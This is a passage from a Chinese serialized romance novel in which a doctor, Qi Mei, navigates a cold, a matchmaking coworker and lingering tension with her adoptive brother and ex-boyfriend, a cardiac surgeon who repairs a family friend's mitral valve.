孙茂芸听到她的回答,笑着应了声好,开玩笑说:“你哥说我和你吃什么他就吃什么,你说我和你哥吃什么你就吃什么,好好好,你们兄妹俩是有默契的。” 齐眉干笑一声,随即心头一跳,感觉自己像要想到什么了。 但那灵光稍纵即逝,她根本来不及捕捉。 最后只能无奈作罢。 她和孙茂芸说了两句别的事,挂断电话回头,就见房东从手提包里掏出来了一份合同,说:“呐,没什么问题我们就签合同了哦,早点搞定我好早点去打麻将。” 齐眉忙凑过去一起看。 很简单的合同,看样子是网上直接下载然后改了一下具体信息的,所以也没什么漏洞可找的,看完陈羽丹就签字了。 签完字,一手交钱一手交钥匙,房东还跟陈羽丹说如果担心不安全,就自己换把锁,但是旧锁别扔,留着以后退租了装回去。 从楼上下来之后,齐眉问陈羽丹什么时候搬,她说:“我下午就去买东西,明天过来打扫卫生,打扫完就搬吧,下次下班,我请你在这儿吃顿饭吧,就当是……温居?” 齐眉笑着应好,扭头看见对面水果摊上的水果不错,正琢磨要去买一点,就听陈羽丹继续道:“我想好了,我不要跟那个人接触下去了,眉姐你说得对,我还是要相信自己的直觉,不能找一个让我不舒服的人当伴侣。” 齐眉回过头,笑着拍拍她肩膀。 俩人就在此处分别,齐眉买了水果,回到家,正好十二点过一刻,在楼下看到带着年年出门的江眀琮。 “你们去哪儿啊?”她忙叫住他们问道。 “去门口拿饭啊。”江眀琮回答道,又吐槽,“你妈真是想一出是一出,又说下午要和姐妹出去,让你哥把饭菜给我们送过来,她就不回来了。” 齐眉一愣,错愕地问道:“我、我哥怎么……怎么不上家里坐坐?” 这大太阳的天,江问舟怎么不把东西送上楼,还要干爸去取?又不是不认得路。 她心里正嘀咕,就听江眀琮说:“他说懒得上去了,非得让我下来拿,算了算了,就当遛年年了。” 齐眉一怔,明明是很普通的一句话,但她却突然想起那天晚上江问舟在拥抱她时说的那句话。 “最后一次了,西西。” 齐眉觉得胸口一闷,心头似有些隐隐钝痛。 30-40 第31章 第三十一章(二合一)有的人就这样走…… 五一假期结束,纪达的手术如期排上日程。 江眀琮得知手术时间就定在第二天,忍不住松了口气:“这手术再不做,我就要坐不住了,天天去医院倒还好,天天坐在医院才够呛。” 孙茂芸吐槽他:“谁叫你天天去报到的?你要表现战友情,就不能怪别人。” 再说了,这医院的手术安排都是有章可循的,指不定有那比你等得还久的呢。 江眀琮没搭理她这话,拿起一旁的梳子想给年年梳毛,这才发现年年已经跟齐眉去店里了。 他只好有些悻悻的放下梳子,继续听妻子跟他说话:“家里那些空地,西西说可以种些蓝雪花和风雨兰,咱们什么时候回去种上?” “等老纪手术做完看看情况就回去呗,就是不知道这院还得住多久?” “我问了舟舟,说是手术做完没什么特殊情况的话,十天半个月就能出院了。” “那敢情好,马上就能刑满释放了。” 孙茂芸:“……” 齐眉晚上觉着有些不舒服,在店里待到十一点多,就跟田乐和佟林说了声,带着年年回去了。 回到家才刚过十二点半,刚关门,就见听到动静的孙茂芸开门出来了。 “怎么今天回来得这么早?”她有些惊讶地问。 齐眉嗯了声,犹豫一瞬,胡诌道:“有点不舒服,像是想感冒。” 孙茂芸一听连忙嘱咐她先把药吃上,她没太走心地应声好,就去安顿年年了。 结果万万没想到一语成谶,第二天早上起来准备去上班时,真的发现鼻子有点堵堵的。 等到了单位,刚接完班没多久,她就开始觉得有点喉咙痛,连忙倒了瓶矿泉水进杯子里,又掺上一点热水兑成温水,咕咚咕咚一次喝完。 陈羽丹关切地问:“眉姐你怎么了?” “好像感冒了,喉咙有点痛。”齐眉应道,从抽屉里翻出一个口罩戴上。 话音刚落,来了一位腹泻的旅客,齐眉给他开了药,等人离开后,才给孙茂芸发信息,问纪达的手术开始没有。 孙茂芸回复说早就进手术室,八点之前江问舟还去看过一次纪达,安抚了他两句。 纪达笑道:“我不怕,这手术总算能做了,再不做我都快在这儿待得生虫了,你爸可还等着我刑满释放跟他一块儿去钓鱼呢。” “很快了。”江问舟笑着应承他,嘱咐管床护士一会儿准备送人。 医院规定九点钟第一台手术必须开始,江问舟的一助秦一鸣提前就到了手术室,见到了人,麻醉医生开始进行麻醉。 前期准备工作是秦一鸣和负责建立体外循环的同事一起准备的,放置经食管超声探头,经胸骨正中切口入胸,心包悬吊之后进行全身肝素化。 给纪达建立体外循环的时候,江问舟也来了,在一旁穿手术衣和戴手套,穿戴好以后便缩着手在一旁等。 一边等一边听麻醉医生跟带着的学生讲病人该如何给药,间中夹杂着对现在能用的麻醉药药效的不满。 这种吐槽听过太多,江问舟左耳进右耳出,倒是看着神色认真的学生,忽然想起齐眉来。 齐眉第一次进手术室是大三的暑期见习,那时她是在内分泌科,中午下夜班的时候本该回去休息,可她却跟他说不想回去,觉得待在宿舍没意思。 问他下午做什么,他说还有一台手术,她就问:“能多带一个人进去吗?我想去参观。” 她说话的时候眼睛亮亮的,似乎盛满了对知识的渴望和好奇。 他立刻便答应了,跟郭教授还有手术室的老师说想带一个小师妹进去参观,因为是比较简单的手术,所以郭教授很痛快的同意了。 那会儿他连一助都没混上,顶多当个二助,一边帮忙做准备工作,一边给她介绍病人的情况。 她穿着紫色的参观衣,手抄在胸前的兜兜里,站在离手术台不远不近的地方,一面听他介绍病情和术式,一面不停往台上张望。 做麻醉老师夸她一看就是爱学习,他笑着扭头一看,只见她腼腆地弯起眼睛,看上去格外可爱,让人忍不住冲她露出一个笑。 那时他心里多高兴,后来就有多迷茫,他翻来覆去地回忆和揣度,都没有从她的表情和态度中,找到一丝一毫的不情愿。 也许就像世界不会非黑即白,她的不喜欢也有几分情愿吧,哪怕只是出于责任心和对这个专业的尊重。 “老大,可以了。” 秦一鸣的声音将江问舟的神智叫了回来,抬头一看,心脏停搏已经满意,可以正式开始手术了。 锋利的手术刀切开右心房,再用组织剪剪开房间隔,二尖瓣显露出来,可以看见二尖瓣的后瓣脱垂,这就是纪达的心脏二尖瓣关闭不全,出现胸闷心悸症状的原因。 手术从早上九点一直做到中午十二点,持续了三个小时,其中停体外循环就费了将近一个小时,要等复温后心脏恢复自主跳动,循环平稳,还要经食管超声检查二尖瓣无明显异常之后,才能鱼精蛋白中和肝素,逐步撤离体外管道。 再后面放引流管、逐层关胸缝合的事,就不用江问舟操心了,秦一鸣会搞定。 下来之后他想到孙茂芸他们应该还在外面等,洗了手便往外走。 门一开,外面所有正在等待的家属都不约而同地看过来,大部分的人又稍显失望地转开视线。 除了孙茂芸他们,立刻起身围过来,问他:“怎么样怎么样?” “没问题吧?是不是已经做完了?” 江问舟抬起手往下压了压,示意他们先冷静一点,然后点点头:“手术很成功,问题就是二尖瓣后瓣脱垂,已经修补好了,还要去监护室待一天,没什么问题的话拔管了就会回普通病房的。” 说着他拍拍纪琏的肩膀,笑笑:“别担心,我们已经走了九十九步了。” 纪琏攥着拳头连连点头,额头上全是汗,面颊上的肌肉一抽一抽地跳动着。 孙茂芸拍拍他的背安抚道:“好了好了,已经平安下来了,就是成功了一大半,后面肯定顺顺利利的。” 说完又对江眀琮道:“你快给西西发个信息说一声,她刚才还问出来没有。” 江问舟吞咽的动作微不可察地顿了顿。 “那你快去吃饭吧,十二点多了。”孙茂芸接着转头看向他,挥挥手,“快去快去,我给你点下午茶放护士站,你一会儿记得取。” 顿了顿,又说:“晚上给你煮鸡汤,你下班了回西西那儿吃,记得啊。” 江问舟的吞咽动作终于完成,喉结动了一下,摇摇头:“算了吧,可能要忙到很晚,你们别操心了,我晚上在办公室吃了再回去。” “不行不行,外卖哪有家里的真材实料。”孙茂芸立刻摆手,还拍拍他胳膊,又心疼又生气,“你老是不好好吃饭,到时候要是饿出病来,得了癌症什么的,你让我和你爸怎么办?” “怎么会……”江问舟哭笑不得,想说她想太多,又确实理亏,只好改口,“那您给我送来行不行?” “回家喝……” 孙茂芸的话刚起了个头就被他打断:“太晚了,您煮好了叫个跑腿给我送一下,我忙完就能喝到,多好?” 那也行吧,孙茂芸拿他没办法,只好答应。 见她点头,江问舟也跟着松口气,为防她唠叨,赶紧闪身回了手术中心。 齐眉收到江眀琮发来的报平安信息时,正在食堂吃午饭。 食堂是十一点开始供应午餐,大家也都是在十一点就开始轮流去食堂,当时还有个来量体温的小朋友,齐眉便让陈羽丹先去。 等陈羽丹从食堂回来,她又在去食堂和点外卖之间犹豫半天,才终于还是去了食堂。 坐下没多久,就碰到他们组的组长杨恒和另一位同事。 正是那位同事当初介绍她和肖涵认识,并且试图撮合他们。 这人刚坐下,就问齐眉:“阿眉,我听肖涵说,你拒绝他了?” 齐眉顿了顿,摇摇头:“……本来也没同意过啊。” 同事问为什么,齐眉就还是老一套说辞:“我喜欢比我大的,更重要的是我现在不想谈朋友。” “别不想啊,你都这个岁数了,再不找可就来不及了。”同事满脸着急似的,接着又说,“那我再给你介绍一个,比你大一点……” 齐眉有些受不了了,她这几天本来就心情不太好,加上今天感冒,听到这些不爱听的,脑瓜子立刻一阵嗡嗡。 立刻便看向杨恒,问道:“杨哥,领导是不是给你们派什么任务了?是不是要考核员工的婚恋指数,不达标的要扣工资扣奖金?” 杨恒先是一愣,旋即失笑,摇摇头劝同事道:“算啦吧你,闲得没事做多吃一碗饭,这里是食堂,又不是婚介所。” 说完又对齐眉解释:“别理他,职业病,他老婆开婚介所的。” 那也不能见着个人就给人介绍对象啊,都说了不想谈朋友,听不懂人话? 齐眉撇撇嘴,一副很不高兴的样子。 同事也明显有些尴尬,这张桌上的气氛顿时有些凝固。 江眀琮的信息就是这个时候发过来的,她看了一眼,连忙回了个电话过去,问他:“干爸,纪叔叔怎么样了呀?” “说是要先去监护室住一天,没问题才能回病房。”江眀琮回答说,“一会儿你小纪哥去看一眼,我和你妈就先回去了。” 齐眉应声好,接着问:“是做的二尖瓣修复,还是置换啊?” 江眀琮让她等等,说江问舟就在这儿,他问问。 过了会儿回答她说:“修复,说是剪掉一点长的,再缝上,放什么成形环的,我也说不明白,回头你问你哥。” “那是固定用的。”齐眉应了句,又说,“我明天下了班再过去看看。” 反正不提什么去问江问舟的事。 他们现在的关系好像变得很尴尬,亲不亲,疏不疏,像是走出了江问舟还在申城时他们互不见面的怪圈,又被另一个怪圈围困。 江眀琮在那边诶声:“不着急,好好上你的班,到时候休息好了再来。” 江眀琮跟她聊了几句,就让她赶紧先吃饭,电话就这么挂断了。 似乎是为了缓和气氛,杨恒主动挑起话题,问道:“阿眉你家亲戚要做手术?” “胸闷心悸,查出来二尖瓣关闭不全,心功能不太好了,就做了个手术。”齐眉点点头回答道,声音也跟着缓和下来。 “这是有点严重了。”杨恒哟了声,“在哪儿做的手术?” 齐眉把盘子里最后一根青菜吃掉,应道:“医科大一附院,心外科。” 杨恒接着问:“哪个主任做的?” 他问完过了好一会儿也没听到齐眉的回答,还以为她没听到,正准备再问一遍,就听齐眉回答道:“江主任,江问舟。” “这名字……没听说过。”杨恒皱着眉想了想,“新来的?医科大心外科的宋主任我认识,没听说过他们科还有个姓江的主任啊?” “今年新来的。”齐眉淡声应道,“他们科换科主任了,江、江主任是他们新主任的学生。” 杨恒恍然大悟:“原来是这样。” 他又好奇对方什么背景,问齐眉:“原来哪个单位的,你知道吗?” “申大一附院。”齐眉回答道,甚至还往详细了说,“姓郭,叫郭瑞卿,原来是他们医院成人心血管外科主任,跳槽是因为跟他们原来的大科主任理念不合,矛盾太多,很难开展工作。” 顿了顿,又说:“不过这个主任已经被抓了。” 杨恒啧了声,觉得可惜:“要是没走,岂不是有可能他就是大科主任了?” 齐眉心说就是要走了才会把方仕平拉下来,走也要出一口气才走。 但面上她只是笑笑:“各有利弊,要说平台,容医大也不差。” 对面的同事这时点点头,终于从之前的尴尬里回过神了,插话道:“容医一院还是很不错的,我妈和我丈母娘都在那儿住过院。” 杨恒有些好奇问齐眉:“你怎么知道得这么清楚?” 废话,做手术那个是我哥,我前男友,我能不清楚吗! 不过这话齐眉是不会说出来的,谁知道会不会突然就通过谁,再通过什么六度空间理论,传到江眀琮和孙茂芸耳朵里。 于是便只笑笑,温声说了句:“杨哥你忘了?我本科和研究生都是在申大医学院读的。” ————— 大概是因为齐眉上次已经把话说得足够清楚,又或者是这段时间所有的尝试都没有得到任何回应所以心灰意懒,总之,第二天下班时她没有再看见肖涵。 知道这事大概是过去了,齐眉不由得松口气,整个人都放松下来。 一时也不急着走了,站在饮水机旁边一边慢悠悠地喝水,一边看着检查仪器的接班医生忙碌。 刘医生将仪器的充电插头插上,又去急救室将紫外线消毒灯开起来,关上门出来时发现她还在,就笑眯眯地看她一下。 温声调侃道:“怎么,今天的火没烧眉毛?” 齐眉当然知道她这是什么意思,也笑着应道:“今天火没来嘛。” 刘医生忍俊不禁,冲她点点头,一本正经道:“那就恭喜你了。” “承您吉言。”齐眉笑着回了句,将水杯放好,再把口罩戴上,又说了改天见,这才和陈羽丹一起往外走。 “走吧,今天我捎你一程,刚好要去一附院看长辈。”她笑着对陈羽丹道。 话音刚落,就看见肖涵出现在不远处,刚好是通往停车场的出口附近。 齐眉脚步一顿,还没想好该怎么避开,就见他率先转身往另一个方向走了。 她又松口气,接着听见陈羽丹噗嗤的笑声。 “看我笑话很爽嘛,你的事解决了吗?”她侧头乜一眼正在幸灾乐祸的人。 陈羽丹还是笑眯眯的,微微丰满的圆脸上神色轻松,点头道:“算是解决了吧,我已经跟家里说了,不会再跟那个人继续接触了,要是他们觉得好,就他们自己去接触吧,再催我,我就一直住在家里,到时候我嫂子嫌弃,可不能怪我。” 说完她还哼了声,才继续道:“我哥立刻就改口,说这个不好就换一个好的,让我不要任性,家里也是为我好。” 齐眉听了便失笑,为她好是真,但更多的是为了自己的利益。 不过这是人家的家事,她也不好说什么,只说:“以后自己一个人住了,工资可要省着点花了,不然一分钱都存不下来。” “放心吧,我以后肯定省着花,疯狂星期四我都得考虑考虑。”知道她是好意,陈羽丹立刻拍着胸口跟她保证。 说完接着问齐眉:“眉姐,我是请你吃中午饭呢,还是吃晚饭?” “我一会儿去医院探望长辈,中午应该跟我干妈他们吃。”齐眉跟她商量,“要不下午早点吃,吃完了我请你去我店里喝两杯?” 她笑道:“就当是庆祝你开启新生活,以后肯定一切顺顺利利。” 陈羽丹笑起来,挽着她的胳膊,亲昵地蹭蹭她肩膀,跟她道谢:“谢谢眉姐你帮我。” “没什么。”齐眉笑着摇摇头,摁了一下手里的车钥匙。 从机场的停车场出来,很不幸的碰上了前面路段发生交通事故,在路上堵了快半个小时,等回到市区,已经是十一点以后的事了。 齐眉在一附院门口将陈羽丹放下,过了门前的天桥,再往前走一段就到她的住处了。 “下午我去你那儿找你。”她趴在方向盘上冲着车窗外道。 陈羽丹应了声好,刚转身走开,齐眉就听见自己这边的车窗被人敲了两下。 她扭头往外一看,就看见孙茂芸和江眀琮站在外面,还真是巧了。 连忙按下车窗同他们说话:“你们来这么早啊?” “顺便给你哥送个汤嘛。”孙茂芸笑眯眯应道,又问她,“刚才是你的同事吗?” 齐眉嗯了声:“她这两天刚搬到这边来住,就在对面,我下午就不回去了哦,她请我吃饭呢,吃过饭我直接去店里。” 孙茂芸说行啊,“到时候就让你哥去接你回来。” 齐眉呼吸顿了一下,立刻道:“不用不用,我去的时候顺路回家接上年年,不用麻烦舟哥。” “你啊……”孙茂芸失笑,略有些无奈地摇摇头,对她说,“你还是赶紧找地方停车吧,我们在这儿等你。” 齐眉连忙答应,把车往前开,找地方停车去了。 看着车子缓缓开远,孙茂芸才轻轻叹口气,小声问江眀琮:“老江你有没有觉得……西西跟舟舟好像生分了?” 江眀琮没有立刻回答,而是在被她推了一下之后,才说:“他们都这么大了,又不是小时候,男女大防……就算是亲兄妹都要注意分寸和边界感,更何况他们不是亲生的。” 说完顿了顿,犹豫片刻,还是让她别多想,“孩子的事让他们自己解决,要是这样就生分了……” 大概是职业本能,江眀琮觉得两个孩子之间可能发生过什么事,才导致如今的局面,但又正因为这是自己家的孩子,所以他也不愿意往深了想,去猜是不是真的有过什么事。 人生难得糊涂,这话是到他老了老了,才慢慢开始觉得实在是一句真理。 “反正儿孙自有儿孙福,我们还年轻呢,怕什么。”他安慰妻子,“有我们看着,西西真的有什么事,舟舟还能不管吗?而且说不定,时间长了就好了呢?” “说是这样说……”孙茂芸嘟囔一句,叹口气,“算了算了,不管了。” 才刚说完这个话题,就见齐眉撑着遮阳伞从不远处走过来。 她穿着梅子青的阔腿裤,柔软的布料和她白色防晒衫的衣摆一起,随着脚步在微风中轻轻摇曳。 孙茂芸笑眯眯地看着她,觉得自家姑娘真是漂亮极了。 齐眉刚走近,就被她一把拉过去,听她笑眯眯地问:“热不热啊?” “……还行。”齐眉有些错愕,连忙将伞举过她头顶,“你们怎么也不带把伞呀?” “在包里呢,这不是觉得没几步路,懒得撑么。” 齐眉哦了声,暗戳戳道:“不好好防晒很容易变老的哦,防止衰老的最好办法,就是好好防晒。” 孙茂芸:“……” 她不吭声,只拉着齐眉越走越快,匆匆忙忙往里走,后面的江眀琮看着她们仓促的背影,只能一脸无语的快步跟上去。 等几人到了病房见到纪琏,才知道纪达昨天晚上就醒了,“秦医生说,一会儿下午看看早上抽的血常规那些,要是没问题,下午就可以拔管,应该明天就能回来了。” “是么,那可太好了。”孙茂芸高兴地拍拍他肩膀,“你辛苦了,快先吃饭吧。” 边说边把手里提着的袋子在床头柜上放下,取出一个保温桶,“今天吃小炒肉、糖醋排骨和炒西蓝花,还有鸡汤,记得吃完,不准浪费。” 纪琏笑起来,眼睛眯到一起,脸上神色比往常还要轻松一些,摸着后脑勺道:“阿姨您也太客气了,天天这么喂,我爸住一回院受了苦,我胖十斤回去,是不是不太好?” “这有什么不好的。”孙茂芸摆摆手,“去别的地方就算了,在容城,你要是瘦了回去,我都不好跟你妈交代。” 说完一把拉过齐眉,又提起袋子,说要去给江问舟送饭。 齐眉咬了咬腮帮子,欲言又止好几下,到底还是没拒绝。 但到了办公室才发现,江问舟不在。 接待她们的是纪达的管床医生秦一鸣,他告诉她们:“老大今天上午是门诊,还没回来呢。” 齐眉站在门边,微微歪着头,听见秦医生对江问舟的称呼,在心里哦了声。 原来他的组员们是这么叫他的。 孙茂芸听完就问:“那是不是要很久才能回来呀?” “看情况吧,要是病人多肯定没那么快回来。”秦一鸣一边回答孙茂芸的话,一边还用眼角余光去瞥齐眉。 虽然她戴着口罩,但秦一鸣还是能认出她来。 她那双圆润明亮的荔枝眼实在太容易让人印象深刻了。 只是比起曾经在朋友圈照片里看到过的活泼和幸福,她现在似乎变得沉静许多,安安静静站在那儿,像一株亭亭玉立的清荷。 秦一鸣突然觉得,在她身上看到了时间的痕迹。 岁月从来不会为任何人停驻,前路迢迢,有的人就这样走散了,怪可惜的。 秦一鸣一面在心里感慨,一面笑着同孙茂芸道:“阿姨要不要在这儿坐坐?这都十二点了,应该也快下门诊了。” “不了不了,我们还得去吃饭呢。”孙茂芸立刻拒绝道,“东西我就给他放这儿了,麻烦你到时候提醒一下他。” 秦一鸣忙应了声好,又看了一眼齐眉。 齐眉察觉他的目光,有些疑惑地回望过去,同时客气地冲他弯了一下眼睛。 秦一鸣也冲她笑笑。 但齐眉还是觉得哪里有些怪怪的。 孙茂芸把东西在桌上的角落放好,又同秦一鸣道了声谢,转身拉着齐眉就往外走。 回病房嘱咐纪琏要是下午纪达拔管了,跟他们说一声,等他吃完饭,把饭盒收起来,这才一家三口往外走。 非常巧的,三人在护士站那儿,跟从门诊回来的江问舟碰上了。 “舟……”孙茂芸刚张嘴,又立刻想到他说过不要在同事面前叫他小名啦,于是赶紧改口,“问舟回来啦?” 江问舟正在护士站借电脑看病人的检查结果,听到这句话顿时就愣了。* 声音当然是特别熟悉的,但这称呼嘛…… 他转头一看,果然看见孙茂芸笑眯眯的脸,不由得顿时一囧。 “……爸,妈,你们来了。” 说着看一眼齐眉,嘴角微微抿了一下,才喊了她一声:“西西也来了。” 声音平静,但听起来更像是有些不情愿的冷淡,齐眉眨眨眼,点点头嗯了声。 江问舟刚想问孙茂芸吃饭没有,听到她的声音,又忍不住看了她一眼。 竟然在她脸上看到了一丝茫然和疑惑,心里不由得苦笑。 “你们吃饭没有?”他收敛心神,问孙茂芸。 “没呢,这不正准备去么。”孙茂芸交代他,“给你带的饭菜放办公室了,记得早点吃。” 江问舟犹豫了一下,还是道:“别出去吃了,我带你们去食堂。” 孙茂芸一时犹豫:“方便么?” “有什么不方便的,食堂不就是卖饭,有饭卡就行。”江问舟应道,让他们再等一会儿。 于是三人就在一旁站着等,可除了齐眉,孙茂芸和江眀琮都没闲着,跟护士聊了起来。 先问人家吃饭没有,吃的什么呀,又问她们五一节去哪儿玩了,马上就护士节了,有没有什么安排呀,诸如此类。 江问舟一边在电脑上点点点,飞快地查阅着最新的检查结果,一边耳边是你来我往的聊天声,听起来热闹极了。 可一抬眼,就见齐眉正在一旁低着头抠手指,看上去腼腆又安静。 他下意识张口,想说什么,但旋即立刻回过神来,舌尖抵住上颚,就将差点脱口而出的话咽了回去。 齐眉察觉他的目光,倏地抬头,却见他仍然神色严肃地看着电脑,眉心微微蹙起。 一时有些疑心自己是不是感觉错了。 江问舟迅速看完检查结果,退出自己的账号,让他们再等两分钟,转身大步流星朝办公室走去。 齐眉转头看着他的背影,半晌收不回目光。 “老大回来了?”秦一鸣见到江问舟进来,立刻跟他说,“阿姨刚才过来了,给你送了饭。” 江问舟道了声谢,就听陈妍调侃道:“这也太幸福了吧,上班了还有妈妈送饭啊。” “应该还能享受半个月,等62床出院就没了。”江问舟开了句玩笑,接着同他们说起有几个病人的指标有点问题,要做一下对应处理。 “还有,今天下午和下周一要交的病历还有没签字的,准备一下,我吃完饭回来就签。” 说完提起袋子就又匆匆转身出去。 齐眉靠在护士站的台边发呆,总觉得心里有点不得劲。 这几天她一直觉得不太舒服,不明原因,好像还是无诱因。 反正她可以肯定,绝对绝对不是因为感冒才这样。 她觉得自己像无头苍蝇一样找不着北,又像被锁进了一处密室,密室周围都是气墙,她根本找不到出来的方向。 这种感觉让她郁闷至极,只有在工作时才会觉得好点。 怎么了呢?她心里叹着气,以为要过一段时间才能找到答案。 但其实不用这么久,只一顿饭的功夫,她就能明白自己怎么回事了。 第32章 第三十二章(二合一)她终于意识到,…… 容医大一附院的食堂在住院部后面,离得不算远,从一楼的连廊一直走到尽头,绕过假山就到了。 “你们职工食堂藏在这里面呀?”孙茂芸啧啧称奇,“我看你们小超市,肯德基,咖啡店奶茶店都在前面。” “在前面大家才容易找到。”江问舟温声应道,推开门让他们先进去。 最后自己跟在齐眉身后一起进去。 “这边先洗手。”他说着往左边一指,三个人就动作整齐地往那边转。 看着他们整齐划一的动作,江问舟忍俊不禁地摇摇头。 洗了手,先找了个喜欢的位置将带来的保温饭盒放下,江问舟再领着他们去拿餐盘。 “想吃什么尽管点,食堂的物价还可以,比较有性价比。” 一样样菜看过去,孙茂芸指着蒸鲈鱼和炸鸡翅对齐眉道:“西西吃不吃鱼?还有你喜欢的鸡翅。” 齐眉摇摇头,闷声闷气地应:“感冒呢。” “哦对对,你感冒了,感冒不能吃这些。”孙茂芸连忙转头,让她拿蒸南瓜,“这个可以吃,对你喉咙痛好的。” 江问舟这时才发觉齐眉的声音里确实有一丝鼻音。 他原来以为是声音被口罩遮挡和过滤过的关系,原来不是,是她感冒了。 他想说什么,比如让她多喝温水多休息,别忘了吃药,诸如之类。 但话到嘴边又犹豫着吞回了肚子里。 这些她又不是不懂,哪里需要他来提醒,还是算了。 孙茂芸接着又给齐眉要了份梅菜蒸肉饼和油面筋塞肉,还有一份茵陈排骨汤,说是:“越是生病越要吃肉,不多吃点身体的免疫力怎么恢复?” 齐眉端着餐盘边听边点头,眉眼看上去十分乖巧。 江问舟看她一眼,下一秒便抿着嘴角侧过头头,对江眀琮道:“爸你尝尝那个凉拌鸡丝,味道不错。” “是么,我尝尝。”江眀琮拿了份凉拌鸡丝,然后笑道,“你小的时候,你妈出差,把你送我们队办公室,到了饭点你就跟我们一块儿吃食堂,还记不记得?” 江问舟顿时失笑:“记得,怎么不记得,那时候还是大圆桌,大家跟一家人一样一起吃的。” 当时江眀琮他们单位还在老城区,是一幢很旧的老楼,食堂也很小,用的是像家里的那种圆桌,吃饭的时候大家围在一起,食堂大师傅把菜用不锈钢盆装着端过来的,要吃多少自己用勺子舀。 每个人都有自己的饭盒,江问舟人小,食堂大姨就给他找了个小的碗,但舀饭的时候会用勺子用力把米饭压实,搞得他发现自己的饭怎么吃都吃不完。 后来他就不爱去了,宁可自己在家待着,到点了拿上孙茂芸给他准备的零钱,去小区外面的小饭店吃。 问就是:“爸爸单位食堂的饭我实在吃不完。” 不过后来江眀琮他们单位搬迁,办公楼变新变宽敞了,食堂也跟着焕然一新,成了现在大家都熟悉的标配布局,打菜窗口,刷卡机,还有长条桌凳。 “现在轮到爸爸来吃你的单位食堂喽。”江眀琮笑着感慨说,“你长大了,爸爸的头发就变白了。” 多么煽情多么动人的话! 江问舟扭头看一眼他爸过年前刚染过的头发,说了句:“没有啊,这染发剂不是挺牢固的么,没掉色。” 江眀琮:“……” 孙茂芸被这父子俩逗得笑出声来,回头说:“差不多得了,现在是吃饭时间,不是开煽情大会。” 齐眉忍俊不禁,在一旁看着,眉眼都弯了起来。 这些事她听江问舟说过,那时候他们感情正好,她缠着他要听他说以前的事,说要知道他所有的过去,还要参与他所有的未来。 点好菜,刷过卡,一行人又回到桌边。 江问舟将保温饭盒里的菜都拿出来,送来没多久,还是热的,主食也不是白米饭,而是加了午餐肉和腊肠、青豆、胡萝卜一起炒的蛋炒饭。 孙茂芸问他够不够吃:“要不要再加两个菜?” 他摇摇头,刚要动筷子,就听孙茂芸问齐眉:“西西吃不吃蛋炒饭?让你哥给你分点。” 江问舟拿起的筷子立刻停在半空,询问的目光看向对面正在摘口罩的人。 齐眉被问得愣了一下,旋即摇摇头:“……不、不吃……不用了。” 边说话边把口罩整理好放进包里。 声音听起来蔫蔫闷闷的,似乎很不舒服,江问舟心里那句“多喝热水”又蛄蛹到了喉咙。 没等他犹豫好要不要说,就听孙茂芸道:“你都这样不舒服了,下午还要去跟同事吃饭,去店里上班?” “去呀,我没事。”齐眉立刻应道,音量明显是在很刻意地提高。 江问舟听见这声音,忍不住眉头一皱。 去就去,说得这么大声做什么,嗓子还要不要了? 可他抬头看她一眼,到底什么也没说。 孙茂芸倒也没想着阻止她,只说了句要是不舒服就别硬撑,早点回,就接着转换话题了,“你们吕叔叔的女儿明天结婚,周末诶,你们想去吃喜酒吗?” 话音刚落,就看见齐眉和江问舟不约而同地摇摇头,顿时失笑:“这时候你俩就有默契了。” 说者无心听者有意,齐眉抬眼往对面一看,正好和江问舟的视线在半空相接。 她只能看到他眼睛里平静如水的目光,衬得他的眼睛像夏日艳阳照耀下泛着粼粼波光的湖面,有种很漂亮很温和气质,毫无波动或是杂念。 齐眉不由得一愣,恍惚间看见了还不知道她对他另有企图的江问舟。 那时候…… “老江怎么这么晚才来吃饭啊?” 耳边传来说话声,齐眉回过神,才发现江问舟的视线早就移开了。 他笑着应承同事:“也没有很晚,你不也现在才来?” “所以说晚了嘛。”同事笑道,看一眼他的饭盒,调侃说,“怎么你的饭跟我们的都不一样啊,开小灶是吧?” 江问舟失笑,介绍道:“这是我爸妈,还有……” 他看一眼齐眉,很流畅地继续道:“我妹妹。” 齐眉闻言一怔,又倏地抬眼看向他。 江问舟没发现她的错愕,接着对孙茂芸他们道:“这是心内科的李医生。” 李医生立刻笑着同他们问了声好,末了还略有些夸张地叹口气:“老江真是有福气,有那么贴心来送爱心大餐的爸妈,还有那么漂亮的妹妹,你们俩的眼睛一看就是兄妹。” ——齐眉和江问舟的眼睛意外的相似,都是很漂亮的荔枝眼,圆润又饱满。 江问舟和李医生虽然是他入职一附院后才认识的,但因为经常互相请会诊,经常见面,加上李医生是秦一鸣的师兄,在他的串联下,江问舟和李医生一起吃过几次饭,对方性情健谈风趣,聊得多了,俩人的关系便也变得十分不错。 闻言江问舟便调侃说:“你下次记得生个女儿,这样你儿子以后长大了,也会这样被人羡慕。” “我靠!”李医生直接就被他气笑了,“我家那个小魔鬼难带得要死,我和我老婆一个赛一个下班不想回家,还要二胎?我看你是想我死。” 江问舟笑起来,否认三连:“没有没有,我绝对没有这个心思,你别多想。” “信不了你一点。”李医生拍拍他肩膀,“周一上午有个多学科会诊,下午给你发会诊申请,到时候记得来。” 聊到工作,江问舟的神色立刻正色许多,“什么问题来的?” “一个月前有过急性ST段抬高型心肌梗死,外院治疗过,来寻求进一步治疗,但是冠脉造影却显示冠脉三支血管弥漫瘤样扩张,我们彭主任说要请个多学科会诊讨论一下具体病因是什么。” “好,知道了,到时候会去的。”江问舟听完点点头。 “行,那就不打扰你们一家四口了。”李医生拍拍他肩膀,笑着同孙茂芸和江眀琮道,“下次有机会我叔叔阿姨吃饭。” 孙茂芸笑眯眯地诶了声,等他走了,才好奇地向江问舟打听他的信息。 比如是主治还是副高啊,都擅长看什么病啊,全名叫什么啊,哪里人啊,老婆也是本单位的吗,等等。 齐眉完全没有心思听,或者说,从江问舟介绍她是妹妹的那一刻开始,她就开始神思不属了。 “这是我妹妹。” 同样的话在她少年时代,曾从江问舟口中听到过许多次,更频繁出现在她上六年级和初一的时候。 女孩子发育早,那时她开始褪去平胸小可爱的模样,逐渐有了大姑娘的轮廓,江眀琮和孙茂芸因此特地嘱咐江问舟放学要去接她,免得被小黄毛盯上了。 正好她的小学离他们学校不远,后来初一更是直接和他在一个校园里,补习班也就在他学校附近,接她只是顺带的事。 有的人就是爱开玩笑,有时候他去补习班门口等她,会有人冲他开玩笑:“哟,小伙子来接女朋友啊?” 他就会皱着眉头板起脸,一本正经地纠正人家:“这是我妹妹,我们住一个家。” 边说边接过她的书包,跟她说,别搭理这种人,快走,妈宵夜都准备好了。 多正常的几句话话,偏偏给别人阴阳怪气到讪讪的。 